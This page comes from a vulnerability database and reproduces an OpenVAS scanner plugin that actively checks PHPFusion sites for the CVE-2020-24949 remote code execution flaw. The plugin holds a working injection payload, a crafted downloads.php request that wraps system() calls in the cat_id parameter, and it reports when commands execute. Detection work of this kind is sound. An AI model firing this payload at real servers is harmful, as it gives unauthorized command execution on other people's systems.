Lucene search
+L

PHPFusion < 9.03.60 RCE Vulnerability - Active Check

🗓️ 31 May 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18 Views

PHPFusion < 9.03.60 RCE Vulnerability - Active Check. Vulnerability in downloads/downloads.php. Update to version 9.03.60 or late

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
PHPFusion 9.03.50 - Remote Code Execution Exploit
28 May 202100:00
zdt
circl
Circl
CVE-2020-24949
28 May 202100:00
circl
checkpoint_advisories
Check Point Advisories
PHP-Fusion Remote Command Execution (CVE-2020-24949)
29 Sep 202000:00
checkpoint_advisories
checkpoint_advisories
Check Point Advisories
PHP-Fusion downloads.php Privilege Escalation (CVE-2020-24949)
6 Dec 202000:00
checkpoint_advisories
cve
CVE
CVE-2020-24949
3 Sep 202013:51
cve
cvelist
Cvelist
CVE-2020-24949
3 Sep 202013:51
cvelist
exploitdb
Exploit DB
PHPFusion 9.03.50 - Remote Code Execution
28 May 202100:00
exploitdb
nuclei
Nuclei
PHP-Fusion 9.03.50 - Remote Code Execution
24 Aug 202605:53
nuclei
nvd
NVD
CVE-2020-24949
3 Sep 202014:15
nvd
openvas
OpenVAS
PHP-Fusion < 9.03.60 Multiple Vulnerabilities
11 May 202000:00
openvas
Rows per page
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:php-fusion:php-fusion";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.146043");
  script_version("2024-05-24T19:38:34+0000");
  script_tag(name:"last_modification", value:"2024-05-24 19:38:34 +0000 (Fri, 24 May 2024)");
  script_tag(name:"creation_date", value:"2021-05-31 07:46:03 +0000 (Mon, 31 May 2021)");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-06-01 17:17:00 +0000 (Tue, 01 Jun 2021)");

  script_cve_id("CVE-2020-24949");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("PHPFusion < 9.03.60 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_php_fusion_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("php-fusion/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"PHPFusion is prone to a remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"RCE vulnerability in downloads/downloads.php.");

  script_tag(name:"affected", value:"PHP-Fusion version 9.03.50 and probably prior.");

  script_tag(name:"solution", value:"Update to version 9.03.60 or later.");

  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/162852/PHPFusion-9.03.50-Remote-Code-Execution.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

cmds = exploit_commands();

foreach pattern (keys(cmds)) {
  url = dir + "/infusions/downloads/downloads.php?cat_id=$%7Bsystem(" + cmds[pattern] + ")%7D";

  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: pattern, string: res)) {
    result = eregmatch(pattern: pattern, string: res);
    report = 'It was possible to execute the "' + cmds[pattern] + '" command.\n\nResult:\n\n' + result[0];
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(0); # Only if PHP Execution is enabled

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 May 2024 00:00Current
9High risk
Vulners AI Score9
CVSS 3.18.8
CVSS 29
EPSS0.67516
18